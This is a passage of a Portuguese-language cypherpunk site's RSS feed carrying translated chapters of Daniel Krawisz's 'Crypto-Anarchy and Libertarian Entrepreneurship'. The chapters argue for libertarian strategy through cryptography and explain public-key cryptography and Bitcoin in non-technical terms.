&lt;p>Mesmo assim a maioria das pessoas não escuta. O ideal de liberdade é muito abstrato para eles: a maioria das pessoas necessita experimentar liberdade antes de deseja-la. Por exemplo, quando o Napster foi inventado, repentinamente ao redor do mundo as pessoas ignoraram a opressão dos direitos autorais. Elas experimentaram o doce gosto da liberdade. Uma vez que experimentaram, não conseguiram mais largar.&lt;/p>
&lt;p>O objetivo do empreendedor libertário é dar um gosto as pessoas, não influenciando políticos, mas fazendo politica irrelevante. É construir bens de capital para o agorismo, e leva-lo para as massas. Isso requer uma abordagem que é mais precisa que o principio de não agressão sem que o contradiga. Existe mais a ser considerado do que se uma organização é voluntaria ou não: duas organizações podem sem igualmente voluntarias, porém não iguais quanto a sua vulnerabilidade a ataques do governo.[2]&lt;/p>
&lt;p>Peguemos, por exemplo, uma empresa que a comunidade adora os serviços de uma empresa que requer que as pessoas renunciem o controle das suas armas e terras para ela. Uma empresa dessas pode continuar, em teoria, sendo voluntaria, porém só um idiota pensaria assim. Uma empresa dessas seria facilmente corrompida ou se transformando em um governo ou fazendo um conluio com um governo existente. Não existe base para criticar uma empresa dessas somente seguindo a ética libertaria, mas a partir do momento que a empresa começar a ser coercitiva, provavelmente será tarde de mais. Um empreendedor libertário deveria se opor a sua forma e urgentemente desenvolver uma alternativa para competir com ela.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/apple-products.jpg" loading="lazy"
width="290" height="290"
/>
&lt;/p>
&lt;p>O empreendedor libertário deve identificar as industrias com o maior nível de risco e as transformar em algo com menos risco. Existem três modos de que uma indústria pode ser perigosa. Primeiro, se o governo ira ter um grande beneficio controlando ela. Existem algumas industrias que o governo gosta mais do que outras: polícia, educação e transporte são um tanto perigosas. Segundo, se a indústria for centralizada. O governo só tem que fazer um conluio com as maiores empresas para tomar o controle. Terceiro, uma indústria que funciona de tal maneira que aumenta a dependência do consumidores. Se for muito inconveniente de mudar de uma indústria para outra, então as pessoas vão ficar dependentes dela, mesmo que a empresa se corrompa.&lt;/p>
&lt;p>Se uma ideia empreendedora for ser adotada, ela deve ser atrativa para pessoas que não tem medo do perigo do governo. É inaceitável propor para as pessoas pararem de colocar dinheiro no banco e usar somente moedas de ouro, como Rothbard e Mises faziam. O empreendedor libertário deve estimular simultaneamente a divisão de trabalho e diminuir o risco. Mesmo com um tanto de sucesso o movimento do homeschooling ele nunca vai conseguir mudar diretamente o controle das escolas publicas sobre as crianças. Uma ideia que promove atomismo deixa todos mais em uma situação pior. É difícil de vender a ideia e no final ela acaba se destruindo. Reclusos não tem chance contra o estado como um todo.&lt;/p>
&lt;h3 id="criptoanarquia">Criptoanarquia&lt;/h3>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/cryptoanarchy.jpeg" loading="lazy"
width="181" height="278"
/>
&lt;/p>
&lt;p>O movimento criptoanarquista [3], que no começo foi influenciando por teorias anarco capitalistas [4], pode ser resumido em que criptografia nos oferece uma enorme oportunidade para espalhar o gosto da liberdade. Criptoanarquia não é um braço da teoria libertária e sim uma estratégia. É um método de ação. As ferramentas criptográficas que temos atualmente são baratas, poderosas e profundamente individuais. Ninguém pode ameaçar uma equação com uma arma. Um software criptográfico vai funcionar de acordo com as leis da matemática, não importa a vontade do governo. Enquanto for possível distribuir software, vai ser possível, através desse software, dar o gosto de liberdade as pessoas.&lt;/p>
&lt;p>Criptografia deve ser pensada como uma ferramenta para criar comunidades e não de sigilo. Sempre tem algo que é um segredo, mas não precisa ser uma mensagem. Em vez disso, ela pode funcionar como a chave de um carro: sua forma é arbitrária e sem sentido, porém seu desenho é associado com uma fechadura de uma máquina que não funciona sem ela. Uma máquina que esta trancada por uma chave não consegue pegar no tranco.&lt;/p>
&lt;p>Criptografia promove independência por reduzir a necessidade de se confiar em força para sua defesa. É fácil construir uma chave que não poderia ser quebrada nem se um computador do tamanho do planeta Terra rodasse por milhões de anos. Isso deixa o governo para fora de coisas que necessitam dessa chave para funcionar. Criptografia promove descentralização, reduzindo a necessidade de uma terceira parte. Um protocolo bem escrito é suficiente para que as pessoas cooperem e façam com que cumpram com suas obrigações.&lt;/p>
&lt;p>Numa democracia, a visão de um individuo não consegue mudar o mundo. Por esse motivo política é inadequada para libertários. Por outro lado, no livre mercado, um empreendedor pode mudar o mundo. É ai onde os libertários estão em espirito. Com criptografia, um inventor libertário pode criar uma sociedade libertária inteira.&lt;/p>
&lt;p>&lt;a href="https://nakamotoinstitute.org/mempool/crypto-anarchy-and-libertarian-entrepreneurship-2/" title="Crypto-Anarchy and Libertarian Entrepreneurship – Chapter 2: Public-Key Cryptography" target="_blank" rel="noopener noreferrer">&lt;em>Capítulo 2: Public-Key Cryptography&lt;/em>&lt;/a>
&lt;a href="https://nakamotoinstitute.org/mempool/crypto-anarchy-and-libertarian-entrepreneurship-3/" title="Crypto-Anarchy and Libertarian Entrepreneurship – Chapter 3: The Killer App of Liberty" target="_blank" rel="noopener noreferrer">&lt;em>Capitulo 3: The Killer App of Liberty&lt;/em>&lt;/a>
&lt;a href="https://nakamotoinstitute.org/mempool/crypto-anarchy-and-libertarian-entrepreneurship-4/" title="Crypto-Anarchy and Libertarian Entrepreneurship – Chapter 4: The Risk From the Software Industry" target="_blank" rel="noopener noreferrer">&lt;em>Capítulo 4: The Risk From the Software Industry&lt;/em>&lt;/a>
&lt;/p>
&lt;h3 id="notas">Notas:&lt;/h3>
&lt;ol>
&lt;li>Veja Long, R., Johnson, C., &lt;a href="http://charleswjohnson.name/essays/libertarian-feminism/" target="_blank" rel="noopener noreferrer">&amp;ldquo;Libertarian Feminism: Can This Marriage Be Saved?&amp;rdquo;&lt;/a>
, 1 de maio de 2005 para uma visão libertaria do feminismo. Veja Block, W., &lt;a href="http://mises.org/etexts/environfreedom.pdf" target="_blank" rel="noopener noreferrer">&amp;ldquo;Environmentalism and Economic Freedom: The Case for Private Property Rights&amp;rdquo;&lt;/a>
, vol. 17, Journal of Business Ethics, 1998, páginas 1887-1899 para um argumento em prol de ambientalismo libertário.&lt;/li>
&lt;li>Quando eu digo &amp;ldquo;ataque governamental&amp;rdquo; não estou implicando que o governo foi quem começou. Os lideres das industrias podem ser os que começaram. Não importa quem tomou a iniciativa, é um ataque governamental, pois o governo é usado como uma arma para mudar o foco dos interesses da empresa dos consumidores para outro lugar&lt;/li>
&lt;li>Veja Ludlow, &lt;a href="http://monoskop.org/images/4/42/Ludlow_Peter_Crypto_Anarchy_Cyberstates_and_Pirate_Utopias.pdf" target="_blank" rel="noopener noreferrer">Crypto Anarchy, Cyberstates, and Pirate Utopias&lt;/a>
, Massachusetts Institute of Technology, 2001 para uma antologia de trabalhos relacionados a criptoanarquia, tanto favoráveis quanto contrários. Na verdade, eu não gosto desse livro. Ele explica pouco sobre criptografia e contém pouca coisa que um anarco capitalista já não saberia. Entretanto, é o único livro publicado sobre criptoanarquia, pelo menos tem isso.&lt;/li>
&lt;li>Veja May, T., &lt;a href="https://nakamotoinstitute.org/static/docs/cyphernomicon.txt" target="_blank" rel="noopener noreferrer">&amp;ldquo;The Cyphernomicon&amp;rdquo;&lt;/a>
, 1994, por uma dos primeiros escritores sobre criptoanarquia. Veja o texto dele &lt;a href="https://cypherpunks.com.br/o-manifesto-criptoanarquista/">&amp;ldquo;O Manifesto Criptoanarquista&amp;rdquo;&lt;/a>
, 1988, para um curto, porém marcante declaração sobre criptoanarquia&lt;/li>
&lt;/ol>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/mempool/crypto-anarchy-and-libertarian-entrepreneurship-1/" target="_blank" rel="noopener noreferrer">Crypto-Anarchy and Libertarian Entrepreneurship - Chapter 1: The Strategy&lt;/a>
&lt;/p></content:encoded></item><item><title>Criptoanarquia e o empreendedorismo libertário II</title><link>https://cypherpunks.com.br/documentos/empreendedor-libertario-2/</link><pubDate>Wed, 22 May 2013 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/empreendedor-libertario-2/</guid><description>Criptografia de chave pública é o maior instrumento de liberdade criado até hoje. A sua descoberta foi revolucionária. Antes dela, todas criptografias eram apenas truques. Ela foi desenvolvida em 1973 por Ellis, Cooks e Williamson como pesquisadores no GCHQ no Reino Unido, mas o trabalho foi confidencial até 1997. Também foi desenvolvida …</description><content:encoded>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="daniel-krawisz">Daniel Krawisz&lt;/h3>
&lt;h4 id="capitulo-2---criptografia-de-chave-pública">Capitulo 2 - Criptografia de Chave Pública&lt;/h4>
&lt;p>Daniel Krawisz&lt;br>
May 22, 2013&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="internet" src="https://cypherpunks.com.br/stuff/internet.png" loading="lazy"
width="636" height="310"
/>
&lt;/p>
&lt;h3 id="criptografia-de-chave-simétrica">Criptografia de chave simétrica&lt;/h3>
&lt;p>Criptografia de chave pública é o maior instrumento de liberdade criado até hoje. A sua descoberta foi revolucionária. Antes dela, todas criptografias eram apenas truques. Ela foi desenvolvida em 1973 por Ellis, Cooks e Williamson como pesquisadores no GCHQ no Reino Unido, mas o trabalho foi confidencial até 1997. Também foi desenvolvida de forma independente em 1976 por Rivesr, Shamir e Adleman no MIT. O trabalho deles foi publicado, porém protegido por patente até 2000. Agora ele está livre.&lt;/p>
&lt;p>Para entendê-la, entretanto, é necessário passar pelo básico de criptografia de chave simétrica, que é o tipo de criptografia que já estamos familiarizados, o tipo que existe desde da antiguidade. Uma vez entendida as limitações da criptografia de chave simétrica, a criptografia de chave pública vai parecer mágica.&lt;/p>
&lt;p>Pense na ideia de uma cifra de substituição simples, ou seja, a mensagem é um texto e a encriptação consiste em trocar cada letra por uma outra. Por exemplo, você consegue solucionar o código abaixo?&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>Duas coisas para se notar aqui. Primeiro, o algoritmo é inseguro. Não importa como as letras foram substituídas, seria fácil de decifrar, principalmente com um computador. Precisaremos de algo muito mais complicado para deixar a mensagem realmente secreta. Mais importante, entretanto, é que sabendo a sequência que foram trocadas é o suficiente tanto para descriptografar e para criptografar uma mensagem. É, de fato, impossível saber como criptografar uma mensagem sem ao mesmo tempo saber como descriptografá-la.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="symetry" src="https://cypherpunks.com.br/stuff/symmetric.jpg" loading="lazy"
width="521" height="229"
/>
&lt;/p>
&lt;p>Essa é a essência da criptografia de chave simétrica: é impossível saber como criptografar uma mensagem sem saber como descriptografar ela, e vice e versa. Isso é um grande problema. Se, por exemplo, meu inimigo conseguiu obter uma de minhas mensagens e decifrou ela, ele não apenas vai conseguir ler o resto de minhas mensagens como também vai conseguir fazer novas mensagens, talvez para enganar a mim e meus amigos.&lt;/p>
&lt;p>O maior problema, entretanto, é que se apenas soubermos criptografia de chave simétrica, não existe jeito nenhum de mandar mensagens secretas. Dois aliados não tem como falar um com o outro de modo para estabelecer um protocolo que não o intruso não descubra tudo. Temos que ter meios de comunicação seguros para se combinar um código de chave simétrica, mas se já tivermos isso o problema de comunicação já estaria solucionado.&lt;/p>
&lt;p>Criptografia de chave simples é bom para manter os seus segredo distante de todo mundo. A partir do momento que você revela ela para alguém, você criou um furo na segurança. Você não sabe se tinha alguém escutando e também não sabe se alguém vai conseguir extrair o segredo de seu aliado.&lt;/p>
&lt;h3 id="criptografia-de-chave-assimétrica">Criptografia de chave assimétrica&lt;/h3>
&lt;p>Vamos pensar como poderíamos melhorar a cifra de substituição. Uma das coisas mais óbvias seria ao invés de trocar letra por letra, trocar em blocos de dois. Por exemplo, AA pode virar QF e BB pode virar LV. Isso seria bem mais seguro, ainda assim seria facilmente decifrado com a ajuda de um computador. Poderíamos também trocar em blocos de três em três ou quatro em quatro. Uma hora chegaríamos em um ponto que seria impossível até um computador decifrar em um tempo razoável.&lt;/p>
&lt;p>O problema com esse método, entretanto, é que quanto maior o bloco que usamos maior fica a lista de substituições. Um bloco de dois requer 26^2=676 substituições, um bloco de três requer 17.576 substituições, já para um bloco de quatro seriam necessários quase que meio milhão de substituições. Um computador não conseguiria decifrar um código destes, porém se comunicar com uma lista desse tamanho seria imprático de se fazer seguramente.&lt;/p>
&lt;p>Poderíamos, alternativamente, fazer um algoritmo que misturasse o bloco de quatro letras de algum jeito que fosse difícil de se decifrar, mas ao mesmo tempo uma mensagem bem curta. Isso abre novas possibilidades: como a cifra de substituição é simplesmente uma lista de substituições, ela é inerentemente simétrica. Entretanto, se a cifra é dada como um algoritmo e se conjunto de substituição é tão grande que praticamente não poderia ser enumerado, então as propriedade do algoritmo podem modificar muito as propriedades das cifras.&lt;/p>
&lt;p>Por exemplo, suponha que você consiga desenhar um algoritmo que pode ser executado para frente em uma fração de segundos, porém o inverso dele leva milhões de anos. Se você tivesse algo assim, você poderia explicar para qualquer um com segurança sem ter medo que alguém decifrasse. Não é muito útil, pois ninguém, nem meus amigos, conseguiriam descriptografar a mensagem! Entretanto, ainda é bem interessante.&lt;/p>
&lt;p>Existe uma melhoria que faria essa ideia ser útil. Suponha que existem dois algoritmos que um é o inverso do outro. Ambos são rápidos para frente, mas lentos no inverso. Um algoritmo pode ser usado para criptografar e o outro para descriptografar. Eu deixo o algoritmo de descriptografar em segredo, mas deixo meus amigos verem o de criptografar. Agora eles podem me enviar mensagens que só eu posso ler, e eu não revelei nenhum segredo que não posso me dar ao luxo de ter comprometido. Na verdade, eu posso deixa meus inimigos verem meu algoritmo de criptografar. Ele não podem fazer nada com ele a não ser mandar mensagens para mim.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/public-key.jpg" loading="lazy"
width="379" height="149"
/>
&lt;/p>
&lt;p>O produto final é que todo mundo tem dois algoritmos. Todos mantem um deles em segredo e o outro publico. Como é que podemos descobrir tantos algoritmos assim? Geralmente, há uma classe de algoritmos, cada um especificado por um número ou chave. Então cada um de nós tem uma chave pública e uma chave privada. Isto é a criptografia de chave privada.&lt;/p>
&lt;p>Agora as duas pessoas podem se comunicar com segurança, mesmo que de início elas não tenham um canal de comunicação seguro. O inimigo pode estar escutando do nosso lado, porém ele não vai conseguir entender nada o que estamos falando entre nós uma vez que trocamos as chaves privadas.&lt;/p>
&lt;h3 id="criando-comunidades-com-criptografia-de-chave-pública">Criando comunidades com criptografia de chave pública&lt;/h3>
&lt;p>A beleza da criptografia de chave pública vem do fato que ela dá a habilidade de alguém pode provar que tem um segredo sem revelá-lo. Pare um pouco e pense o quão paradoxal isto é, mesmo assim é fácil de entender agora. Se eu quiser verificar sua identidade eu simplesmente mando uma mensagem criptografada usando sua chave pública e pergunto o que estava escrito. Somente quem tem a chave privada vai conseguir responder esta pergunta.&lt;/p>
&lt;p>Isso não é algo intuitivo para nós, pois nossa tecnologia não se baseia nisso. O fato que atualmente ainda usamos tecnologias primitivas como cartões de créditos, que tem o número gravado neles, ou formas de identificação como as social security numbers is backwards. Isso está obsoleto fazem décadas. Não deveria existir um motivo para que você precise mostrar o número do seu passaporte ou da sua identidade para outra pessoa, nunca.&lt;/p>
&lt;p>A razão que a criptografia de chave privada é tão empoderadora ao indivíduo é que com ela você só consegue provar sua identidade com seu consentimento. Uma chave privada não é como um RG que pode ser requerido ou forçado de você a qualquer momento. Você escolhe os grupos que deseja participar e mantém sua identidade em segredo.&lt;/p>
&lt;p>Existe um pequeno problema aqui. Se uma terceira parte estiver observando quando vocês trocarem as chaves públicas, ele vai ver as chaves publicas que foram trocadas. Mesmo que ele não veja você provando sua identidade, isso não é o suficiente para que ele deduzir que a chave pública corresponde a privada? Isso é facilmente resolvido, pois a chave que você usa para autenticação não precisa ser a mesma que você usa para estabelecer um canal de comunicação seguro. Você pode gerar uma nova chave aleatória para cada conversa e autenticar você com a chave privada permanente.[2]&lt;/p>
&lt;p>E tem mais, se você usar a sua chave privada em uma mensagem criptografada usando sua chave pública, você consegue ler a mensagem original. Por os algoritmos serem o inverso um dos outros, você poderia criptografar uma mensagem usando sua chave privada e ela só poderia ser descriptografada usando sua chave pública. O resultado seria uma mensagem legível que seria inegavelmente minha. Essa é a ideia por trás de assinatura digital.&lt;/p>
&lt;p>A comunidade pode solicitar o uso da assinatura digital para alguns tipos de comunicação, para tudo que ela julgar necessário para estabelecer a reputação dos membros. Mensagens podem ser assinadas por várias pessoas, assim elas podem servir como contratos ou registros de uma transação. A história de cada membro é pública e eterna.&lt;/p>
&lt;p>Na realidade uma assinatura digital é um pouco mais complexa do que eu descrevi aqui. Normalmente alguém não criptografa uma mensagem inteira, mas sim um encurtamento da mensagem. A mensagem seria enviada com seu hash criptografado. No fim o efeito é o mesmo, pois a mensagem está ligada ao remetente.&lt;/p>
&lt;p>Um comunidade que combina sigilo criptográfico, autenticação de chave pública e assinatura digital, é uma comunidade voluntária unida por contratos de reputação. Ela não necessita de uma autoridade central, pois os arquivos que ela necessita para estabelecer a reputação das pessoas podem ser armazenados em vários computadores. Portanto, segura contra ataques governamentais. Banimento é a única punição que a comunidade tem.&lt;/p>
&lt;p>Isto é libertarianismo, é exatamente o que os libertários sempre desejaram. Se nós quisermos que as pessoas aceitam a possibilidade de colocar o governo de lado e que liberdade de associação e privacidade são inerentes a natureza da realidade, todos nós precisamos montar comunidades criptográficas. Não existe a necessidade de falar, até ficarmos sem ar, em termos abstratos com as pessoas que não escutam. Apenas construa as redes e as pessoas vão ser atraídas para elas. Uma vez que elas se acostumarem, vai começar a surgir demanda por elas.&lt;/p>
&lt;p>Existe um serviço que talvez as pessoas desejam que não falei: anonimidade. Um intruso pode não saber o que você está falando, mas ele pode saber que você faz parte daquela comunidade. Talvez um espião vire um membro da comunidade para conectar uma pessoa real a uma chave pública. Idealmente, você provavelmente deve fazer tal que suas comunicações não sejam linkadas a comunidade de forma alguma. Anonimidade é um pouco mais difícil de se conseguir, porém é possível com serviços como Tor. Eu não quero entrar nos detalhes sobre o que é possível, mas é suficiente dizer que existe muito a se construir em cima da estrutura básica que falei aqui.&lt;/p>
&lt;h3 id="notas">Notas:&lt;/h3>
&lt;ol>
&lt;li>Veja Stallings, W., Cryptography and Network Security: Principles and Practice, 5th ed., Pearson Education, 2011 para uma introdução a criptografia que explica tudo que introduzi aqui. Ou leia a &lt;a href="http://en.wikipedia.org/wiki/Public-key_cryptography" target="_blank" rel="noopener noreferrer">Wikipedia&lt;/a>
&lt;/li>
&lt;li>Na verdade você provavelmente usaria algo chamado chave de Diffie-Hellman para estabelecer um canal de comunicação. O principio é basicamente um mesmo, porém com algumas pequenas diferenças do que eu expliquei&lt;/li>
&lt;/ol>
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/mempool/crypto-anarchy-and-libertarian-entrepreneurship-2/" target="_blank" rel="noopener noreferrer">Crypto-Anarchy and Libertarian Entrepreneurship - Chapter 2: Public-Key Cryptography&lt;/a>
&lt;/p></content:encoded></item><item><title>Criptoanarquia e o empreendedorismo libertário III</title><link>https://cypherpunks.com.br/documentos/empreendedor-libertario-3/</link><pubDate>Wed, 22 May 2013 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/empreendedor-libertario-3/</guid><description>O melhor exemplo inquestionável de comunidade que pode ser criada com criptografia foi o Bitcoin, sistema de moeda digital criado por Satoshi Nakamoto, cuja identidade permanece desconhecida. O Bitcoin usa todos princípios que descrevi no últimos capítulos. Ele é baseado em software livre e usa criptografia de chave pública para assegurar …</description><content:encoded>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h3 id="daniel-krawisz">Daniel Krawisz&lt;/h3>
&lt;h4 id="capitulo-3---o-aplicativo-da-liberdade">Capitulo 3 - O aplicativo da liberdade&lt;/h4>
&lt;p>22 de Maio, 2013&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/bitcoincarebears.gif" loading="lazy"
width="636" height="310"
/>
&lt;/p>
&lt;h3 id="como-o-bitcoin-funciona">Como o Bitcoin funciona&lt;/h3>
&lt;p>O melhor exemplo inquestionável de comunidade que pode ser criada com criptografia foi o &lt;a href="http://bitcoin.org/" target="_blank" rel="noopener noreferrer">Bitcoin&lt;/a>
, sistema de moeda digital criado por Satoshi Nakamoto, cuja identidade permanece desconhecida. O Bitcoin usa todos princípios que descrevi no últimos capítulos. Ele é baseado em software livre e usa criptografia de chave pública para assegurar a validade das mensagens enviadas nele.&lt;/p>
&lt;p>Bitcoin é um sistema de dinheiro digital peer-to-peer que é independente de bancos e do governo. Para uma explicação detalhada de como o Bitcoin funciona, o &lt;a href="https://nakamotoinstitute.org/bitcoin/" target="_blank" rel="noopener noreferrer">paper original&lt;/a>
do Satoshi não é difícil de se ler [1], mas ele funciona exatamente nas linhas que explique &lt;a href="https://cypherpunks.com.br/empreendedor-libertario-2/">anteriormente&lt;/a>
. Cada pessoa tem uma ou mais carteiras que contém uma chave pública e uma privada. O software do Bitcoin consegue construir uma mensagem assinada pela chave privada de uma carteira que fala que uma dada quantidade de Bitcoin foi transferida para outra carteira.&lt;/p>
&lt;p>O histórico de transações de todas as transações do Bitcoin que foram feitas são armazenadas numa base de dados pública, chamada blockchain. A blockchain tem cópias em diversos computadores. A quantidade de Bitcoins que uma carteira tem é dado através da leitura da blockchain. É deste modo que o Bitcoin usa o sistema de reputação que eu descrevi anteriormente. O histórico da carteira determina o que ela pode fazer. Se ela gastou todos os Bitcoins que ela gastou, ela não pode gastar mais nada.&lt;/p>
&lt;p>Portanto, criptografia faz com que o Bitcoin se comporte como uma commodity fisicamente escassa, mesmo que ela seja apenas dados em um computador. Não se pode criar um Bitcoin do nada, pois não será possível rastrear para uma válida transação na blockchain. Transações não podem ser falsificadas, pois é necessária a assinatura digital da carteira que criou a transação.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/transactions.webp" loading="lazy"
width="739" height="411"
/>
&lt;/p>
&lt;p>A blockchain é criada de tal forma que sempre existe um consenso sobre o histórico de transações. A importância disso é por ser possível fazer duas transações que são válidas, porém incompatíveis. Por exemplo, suponha que alguém tem mais do que um Bitcoin, porém menos do que dois, e ela faz duas transações de um Bitcoin cada ao mesmo tempo. Todo mundo deve concordar qual transação aceitar e qual negar.&lt;/p>
&lt;p>Isso é feito através de blocos que são difíceis de se gerar e que requerem certas regras. Em troca de taxas de transação e Bitcoins, as pessoas usam seus computadores para tentar gerar novos blocos. Uma vez um criador, ele tem prioridade e é difícil criar um bloco competidor. O criador do bloco decide quais transações devem entrar neles. Conforme a corrente cresce, fica mais difícil de produzir uma corrente rival, que foi ramificada um um dado momento no passado.&lt;/p>
&lt;p>O Bitcoin não é tão anônimo quanto pensam. Mesmo que não tenha nada que prove quem é o dono de certa carteira, é possível investigar a blockchain atrás de pistas que podem ligar a carteira a alguém. Essa é uma das maiores desvantagens do Bitcoin. Entretanto, um possível upgrade para o Bitcoin chamado &lt;a href="http://blog.cryptographyengineering.com/2013/04/zerocoin-making-bitcoin-anonymous.html" target="_blank" rel="noopener noreferrer">Zerocoin&lt;/a>
está em desenvolvimento, que melhoraria em muito a anonimidade.[2]&lt;/p>
&lt;p>Existe um debate entre economistas da Escola Austríaca se o Bitcoin é adequado ou até possível de ser usado como dinheiro. Os críticos do Bitcoin, entretanto, são simplesmente ignorantes. O amor ao ouro deles os cega elas quanto a objetividade.[3] I não vou tentar fazer uma análise econômica do Bitcoin aqui, mas autores da Escola Austríaca como Peter Surda e Konrad Graf demonstraram com grande claridade que o Bitcoin funciona perfeitamente como moeda e que nenhuma lei da economia será violada se ele virar dinheiro.[4]&lt;/p>
&lt;h3 id="pensando-a-frente">Pensando a frente&lt;/h3>
&lt;p>O Bitcoin tem enormes benefícios sobre o PayPal, cartões de crédito, bancos e até ouro em várias frentes. Ele pode ser teletransportado para o outro lado do mundo sem ter que confiar em nenhuma instituição, apenas em uma rede distribuída de computadores. Uma carteira de Bitcoin, propriamente segura, não pode ser roubada. Bancos são obsoletos. É mais difícil criar Bitcoin do que escavar ouro. Teoricamente é possível fazer uma máquina que fabrica ouro atrás de reações nucleares. Seria muito mais difícil convencer a comunidade do Bitcoin a aceitar mudanças no software que fariam com que o Bitcoin fosse inflacionado. O Bitcoin é potencialmente, eu diria até provavelmente, uma das maiores invenções da história da humanidade. Ele luta lado a lado com os libertários.&lt;/p>
&lt;p>Se o Bitcoin virar dinheiro, o controle do governo sobre o dinheiro estará acabado. Não vão ter mais bancos para o governo fazer conluio. A era das trevas da inflação chegará ao fim. Mesmo com apenas quatro anos de idade, o Bitcoin tem shaken o mercado mundial. Quase tudo já pode ser comprado com ele. Argentinos e Iranianos usam-o para escapar do controle de capitais. Reguladores estadunidenses são &lt;a href="http://video.cnbc.com/gallery/?video=3000166533" title="CFTC Explores Bitcoin" target="_blank" rel="noopener noreferrer">&amp;ldquo;zoados abertamente em TV&amp;rdquo;&lt;/a>
por falar sobre a possibilidade de controlá-lo. Seu crescimento é estrondoso, e conforme ele cresce, mais útil ele se torna. É como &lt;a href="https://www.youtube.com/watch?v=HCtcgI4BcIQ" target="_blank" rel="noopener noreferrer">A Bolha Assassina&lt;/a>
. Ninguém pode pará-la.&lt;/p>
&lt;p>O mercado negro está indo para um patamar que não era pensando alguns anos atrás. Baseando-se no Bitcoin e no &lt;a href="https://www.torproject.org/" target="_blank" rel="noopener noreferrer">Tor&lt;/a>
, &lt;a href="https://pt.wikipedia.org/wiki/Silk_Road" target="_blank" rel="noopener noreferrer">o Silk Road&lt;/a>
é um site de venda de drogas. Ele não esconde sua existência. Ele é aberto para todos, como um afronte a guerra às drogas. O estado não consegue descobrir onde ele é hospedado. a conta bancária dele não pode ser fechada.&lt;/p>
&lt;p>No mundo em que vivemos o Bitcoin é uma peça importante no jogo. Ele quebra o status quo no mundo. Isso é o que pode ser atingido com criptografia. E o Bitcoin é apenas uma aplicação do que eu descrevi no &lt;a href="https://cypherpunks.com.br/empreendedor-libertario-1/">capítulo 1&lt;/a>
. Bitcoin não é apenas um fórum online com sinais de emoticons e tal. É uma comunidade real, é uma commodity real, mesmo que ele seja apenas construído em um protocolo criptográfico é um software que implementa-o. Muito mais ainda pode ser feito. Qualquer comunidade fundada com base em criptografia pode se tornar tão forte quanto o Bitcoin. Tudo que é preciso é um novo app.&lt;/p>
&lt;p>A rede do Bitcoin demonstra um exemplo de legislação libertária. O protocolo Bitcoin é uma lei, que todos que interagem com a rede devem aderir, caso contrário, a rede não vai aceitar você. O autor não é um representante eleito, mas sim um gênio anônimo que deixou para nós uma proposta para adotarmos.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="" src="https://cypherpunks.com.br/stuff/blockchain.png" loading="lazy"
width="480" height="166"
/>
&lt;/p>
&lt;p>Pensando em uma estratégia libertária, deveriam convencer pessoas a usar criptografia mais criptografia no dia a dia. Podemos fazer isso criando produtos que usam criptografia e de tal jeito que as pessoas adorem eles. Quanto mais gente aceitar a ideia de uma comunidade criptográfica, mas demanda pela comunidade vai existir. Quanto mais comunidades dessas existirem, mais fracos ficaram os opressores. Precisamos de uma bolsa de valores criptográfica, um sistema de resolução de contratos criptográfico, um sistema de cartão de crédito criptográfico, uma rede social criptografica.[5] Todos esses sonhos são possíveis e muito mais coisas além da minha imaginação. Nenhum deles requer vencer uma eleição, mas cada um poderia mudar o mundo.&lt;/p>
&lt;p>&lt;a href="https://cypherpunks.com.br/empreendedor-libertario-1/">&lt;em>Capítulo 1: A estratégia&lt;/em>&lt;/a>
&lt;/p>
&lt;p>&lt;a href="https://cypherpunks.com.br/empreendedor-libertario-2/">&lt;em>Capitulo 2: Criptografia de Chave Pública&lt;/em>&lt;/a>
&lt;/p>
&lt;p>&lt;!-- raw HTML omitted -->&lt;em>Capítulo 4:&lt;/em>&lt;!-- raw HTML omitted -->&lt;/p>
&lt;h3 id="notas">Notas:&lt;/h3>
&lt;ol>
&lt;li>NAKAMOTO, S. &lt;a href="https://nakamotoinstitute.org/bitcoin/" target="_blank" rel="noopener noreferrer">&amp;ldquo;Bitcoin: A Peer-to-Peer Electronic Cash System&amp;rdquo;&lt;/a>
, 2008&lt;/li>
&lt;li>MIERS, I., GARMAN, C., GREEN, M., RUBIN, A. &lt;a href="http://spar.isi.jhu.edu/~mgreen/ZerocoinOakland.pdf" target="_blank" rel="noopener noreferrer">&amp;ldquo;Zerocoin: Anonymous Distributed E-Cash from Bitcoin&amp;rdquo;&lt;/a>
, 9 de abril de 2013.&lt;/li>
&lt;li>Veja GERTCHEV, N. &lt;a href="https://nakamotoinstitute.org/static/docs/economics-of-bitcoin.pdf" target="_blank" rel="noopener noreferrer">&amp;ldquo;The Moneyness of Bitcoin&amp;rdquo;&lt;/a>
, Mises Daily, 14 Apr 2013 que troca preferencia subjetiva por teoria economica. See KORDA, P. &lt;a href="http://mises.org/daily/6401/Bitcoin-Money-of-the-Future-or-OldFashioned-Bubble" target="_blank" rel="noopener noreferrer">&amp;ldquo;Bitcoin: Money of the Future or Old-Fashioned Bubble?&amp;rdquo;&lt;/a>
, Mises Daily, 9 de abril 2013 para um monte de falacias irrelevantes. See SHOSTAK, F. &lt;a href="http://mises.org/daily/6411/The-Bitcoin-Money-Myth" target="_blank" rel="noopener noreferrer">&amp;ldquo;The Bitcoin Money Myth&amp;rdquo;&lt;/a>
, Mises Daily, 17 de abril 2013 para o artigo sobre Bitcoin mais absudo que já li..&lt;/li>
